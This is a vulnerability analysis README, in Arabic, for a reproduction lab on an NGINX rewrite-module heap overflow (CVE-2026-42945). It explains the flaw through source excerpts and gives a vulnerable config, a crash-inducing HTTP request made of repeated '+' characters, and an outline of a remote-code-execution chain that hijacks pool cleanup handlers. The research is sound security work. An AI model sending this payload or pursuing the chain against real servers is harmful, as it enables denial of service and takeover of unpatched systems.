
NGINX Rift 漏洞分析与复现
CVE-2026-42945 (الاسم الرمزي "NGINX Rift") هي ثغرة تجاوز سعة المخزن المؤقت في الكومة (Heap Buffer Overflow) في وحدة NGINX ngx_http_rewrite_module، بدرجة خطورة 9.2 (Critical) وفق معيار CVSS v4.
اكتشفها فريق أبحاث الأمن depthfirst في أبريل 2026، وقد ظلت كامنة لمدة 18 عامًا منذ إدخالها في NGINX إصدار 0.6.27 عام 2008.
تتطلب الثغرة نمط إعداد NGINX التالي ليتم استغلالها:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
الشروط الأساسية:
rewrite على ? (علامة استفهام)set لاحق إلى مجموعة التقاط من تعبير نمطي (مثل $1)+, &, % وغيرها)يستخدم محرك النصوص البرمجية في NGINX معالجة على مرحلتين لتنفيذ توجيهات rewrite/set:
يكمن جوهر الثغرة في عدم اتساق حالة المحرك بين المرحلتين:
rewrite يضبط علامة is_argsعندما تحتوي سلسلة الاستبدال في توجيه rewrite على ?، تقوم دالة ngx_http_script_start_args_code بتعيين:
void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
e->is_args = 1; // يتم تعيينها بشكل دائم، ولا تتم إعادة تعيينها أبدًا!
e->args = e->pos;
e->ip += sizeof(uintptr_t);
}
set يستخدم محركًا فرعيًا جديدًا تمامًاعندما يشير توجيه set لاحق إلى مجموعة التقاط، تقوم دالة ngx_http_script_complex_value_code بإنشاء محرك فرعي مملوء بالأصفار:
void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
ngx_http_script_engine_t le;
// ...
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
حساب الطول (باستخدام المحرك الفرعي le، حيث is_args=0):
// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=0، الشرط false، يتم تنفيذ فرع else
return cap[n + 1] - cap[n]; // إرجاع الطول الأصلي (بدون تهريب)
}
النسخ الفعلي (باستخدام المحرك الرئيسي e، حيث is_args=1):
// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=1، الشرط true، يتم تنفيذ فرع if
e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
cap[n + 1] - cap[n],
NGX_ESCAPE_ARGS);
// كل حرف قابل للتهريب يتم توسيعه من بايت واحد إلى 3 بايت!
}
raw_size (طول الالتقاط الأصلي)raw_size + 2 * N (N = عدد الأحرف القابلة للتهريب)على سبيل المثال، إذا كان هناك 100 علامة + في URI، فإن مقدار التجاوز هو 200 بايت.
أبسط طريقة استغلال - إرسال طلب يحتوي على عدد كبير من الأحرف القابلة للتهريب يكفي لتعطل عملية العامل (worker):
GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com
سلسلة استغلال RCE كاملة (تتطلب تعطيل ASLR أو تجاوزه):
ngx_pool_t عبر ترتيب الاتصالاتcleanup: التجاوز إلى بنية تجمع الذاكرة المجاورةsystem()ngx_destroy_pool الذي يجتاز قائمة cleanup المرتبطةإن البنية متعددة العمليات في NGINX تجعل الاستغلال أكثر موثوقية - فبعد تعطل العامل، يقوم master بإنشاء عامل جديد عبر fork بنفس تخطيط الذاكرة تمامًا.
README.md - هذا الملف، وثيقة تحليل الثغرةDockerfile - لبناء بيئة NGINX القابلة للاستغلالnginx.conf - إعداد NGINX الذي يشغل الثغرةpoc_crash.py - PoC لـ DoS (يؤدي إلى تعطل العامل)docker-compose.yml - تشغيل بيئة الاختبار بنقرة واحدة# 1. بناء وتشغيل NGINX القابل للاستغلال
docker-compose up -d
# 2. تشغيل PoC لـ DoS
python3 poc_crash.py
# 3. الاطلاع على سجلات أخطاء NGINX لتأكيد التعطل
docker-compose logs nginx
هذه المادة مخصصة لأغراض البحث الأمني والتعليم فقط. يرجى عدم استخدام هذه المعلومات في هجمات غير مصرح بها.